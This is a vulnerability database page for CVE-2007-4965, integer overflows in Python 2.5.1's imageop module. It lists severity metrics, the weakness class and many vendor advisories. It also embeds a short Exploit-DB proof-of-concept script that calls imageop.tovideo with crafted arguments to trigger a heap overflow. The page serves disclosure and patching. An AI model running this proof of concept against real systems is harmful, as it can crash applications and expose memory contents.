CVE-2007-4965 : Detail

CVE-2007-4965

8.23%V3
Network
2007-09-18
20h00 +00:00
2018-10-15
18h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Multiple integer overflows in the imageop module in Python 2.5.1 and earlier allow context-dependent attackers to cause a denial of service (application crash) and possibly obtain sensitive information (memory contents) via crafted arguments to (1) the tovideo method, and unspecified other vectors related to (2) imageop.c, (3) rbgimgmodule.c, and other files, which trigger heap-based buffer overflows.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-190 Integer Overflow or Wraparound
The product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. This occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may become a very small or negative number.

Metrics

Metrics Score Severity CVSS Vector Source
V2 5.8 AV:N/AC:M/Au:N/C:P/I:N/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 30592

Publication date : 2007-09-16 22h00 +00:00
Author : Slythers Bro
EDB Verified : Yes

source: https://www.securityfocus.com/bid/25696/info Python's imageop module is prone to multiple integer-overflow vulnerabilities because it fails to properly bounds-check user-supplied input to ensure that integer operations do not overflow. To successfully exploit these issues, an attacker must be able to control the arguments to imageop functions. Remote attackers may be able to do this, depending on the nature of applications that use the vulnerable functions. Attackers would likely submit invalid or specially crafted images to applications that perform imageop operations on the data. A successful exploit may allow attacker-supplied machine code to run in the context of affected applications, facilitating the remote compromise of computers. #!/usr/bin/python import imageop sexshit = "a"*1603 evil = "p"*5241 connard = "s"*2000 supaire= "45"*65 print supaire connard = "cool" salope = "suceuse" dtc = imageop.tovideo(sexshit,1,4461,-2147002257) sexshit = "dtc"*52 print connard,supaire," fin de dump"

Products Mentioned

Configuraton 0

Python>>Python >> Version To (including) 2.5.1

References

http://www.securityfocus.com/bid/25696
Tags : vdb-entry, x_refsource_BID
http://www.vupen.com/english/advisories/2007/4238
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/38675
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.us-cert.gov/cas/techalerts/TA07-352A.html
Tags : third-party-advisory, x_refsource_CERT
http://secunia.com/advisories/33937
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/28136
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/37471
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/27460
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/28480
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/26837
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2007/3201
Tags : vdb-entry, x_refsource_VUPEN
http://www.debian.org/security/2008/dsa-1551
Tags : vendor-advisory, x_refsource_DEBIAN
http://secunia.com/advisories/29303
Tags : third-party-advisory, x_refsource_SECUNIA
http://support.apple.com/kb/HT3438
Tags : x_refsource_CONFIRM
http://secunia.com/advisories/27872
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/29032
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/31492
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.redhat.com/support/errata/RHSA-2008-0629.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.redhat.com/support/errata/RHSA-2007-1076.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.vupen.com/english/advisories/2008/0637
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/27562
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.ubuntu.com/usn/usn-585-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.gentoo.org/security/en/glsa/glsa-200711-07.xml
Tags : vendor-advisory, x_refsource_GENTOO
http://www.mandriva.com/security/advisories?name=MDVSA-2008:012
Tags : vendor-advisory, x_refsource_MANDRIVA
http://secunia.com/advisories/31255
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.mandriva.com/security/advisories?name=MDVSA-2008:013
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.debian.org/security/2008/dsa-1620
Tags : vendor-advisory, x_refsource_DEBIAN
http://secunia.com/advisories/28838
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2009/3316
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/29889
Tags : third-party-advisory, x_refsource_SECUNIA